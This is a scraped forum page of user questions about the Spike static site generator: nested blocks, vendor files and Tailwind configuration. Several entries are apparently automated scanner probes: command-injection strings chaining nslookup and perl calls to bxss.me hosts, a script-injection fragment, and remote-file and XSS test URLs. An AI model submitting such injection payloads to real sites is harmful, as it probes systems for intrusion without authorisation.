Discussions

Ask a Question

Mr." h6Qd=6Auk([!+!]) J8P="

555
ANSWERED

Nested Blocks and locals in includes

Hi, two more questions: 1. Is it possible to put a block inside a block? I tried something like this and it doesn't work: block(name='content') h1 Hello world! block(name='subcontent1') h1 Hello Olli! block(name='subcontent2') 2. Is it possible to include something depending on a variable. I tried something like this and it doesn't work: include(src='includes/lectures/{{ name }}.sgr') The background is the following: I would like to generate my site https://ob.cs.hm.edu/ using spike. Code can be found at https://github.com/obcode/ob.cs.hm.edu/tree/spike. Some pages under /lecture have the same structure, but different content. I would like to use one layout and "inject" the content. I can do it via locals, but some parts are larger than just one value.

Vendor files and webpack

I want to import vendor files from node_modules to use in my project, but after hours researching, i couldn't get it to work. According to the Spike docs (spike.readme.io/docs/vendor) using the vendor property i can import the standalone files to my static project, but should it work with files from node_modules? The ideia is import the files without bundle them into one, preferably into an assets folder.

Configuring Spike with Tailwind

We need tailwind to work on a current project, but as I know tailwind needs to be pushed at the start of the postcss plugins. ``` const htmlStandards = require('reshape-standard'); const cssStandards = require('spike-css-standards'); const jsStandards = require('spike-js-standards'); const env = process.env.SPIKE_ENV; const Records = require('spike-records'); const MarkdownIt = require('markdown-it'); const path = require('path'); const md = new MarkdownIt(); var tailwindcss = require('tailwindcss')('./tailwind.js'); const css = cssStandards( { minify: env === 'production', warnForDuplicates: env !== 'production' } ) css.plugins.push(tailwindcss); const locals = { md: md.render.bind(md), mediaUrl: 'https://media.graphcms.com' } const apiUrl = 'https://api-uswest.graphcms.com/v1/cjj6ximdp01bv01ggojsg4m64/master' module.exports = { devtool: 'source-map', ignore: ['**/layout.html', '**/_*', '**/.*', '*.md', 'yarn.lock', 'package-lock.json', 'Jenkinsfile'], reshape: htmlStandards({ root: path.join(__dirname, 'views'), locals: (ctx) => locals, minify: env === 'production' }), postcss: css, babel: jsStandards(), plugins: [ new Records({ addDataTo: locals, three: { data: { foo: 'bar' } }, projects: { graphql: { url: apiUrl, query: `{ projects { id, name, description } }` }, transform: (res) => res.data.projects } }) ] } ``` We currently have this setup, with the Tailwind loaded and pushed to the css standards stack. But Tailwind keeps on spitting out an error. It would be nice for a static site generator to atleast support Tailwind CSS! Thanks

;(nslookup hitqqaymenopn6637a.bxss.me||perl -e "gethostbyname('hitqqaymenopn6637a.bxss.me')")|(nslookup hitqqaymenopn6637a.bxss.me||perl -e "gethostbyname('hitqqaymenopn6637a.bxss.me')")&(nslookup hitqqaymenopn6637a.bxss.me||perl -e "gethostbyname('hitqqaymenopn6637a.bxss.me')")

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.

555

&(nslookup hititrjdloguu9dcb0.bxss.me||perl -e "gethostbyname('hititrjdloguu9dcb0.bxss.me')")&'\"`0&(nslookup hititrjdloguu9dcb0.bxss.me||perl -e "gethostbyname('hititrjdloguu9dcb0.bxss.me')")&`'

555

HTML tags in Markdown file not rendering

HTML tags in Markdown files in the blog are not rendering anymore as HTML but instead as text. Is there a way to fix this issue? Since in our blog, we need to use some HTML tags.

HttP://bxss.me/t/xss.html?%00

555

|(nslookup hitpxxukslahe527d2.bxss.me||perl -e "gethostbyname('hitpxxukslahe527d2.bxss.me')")

555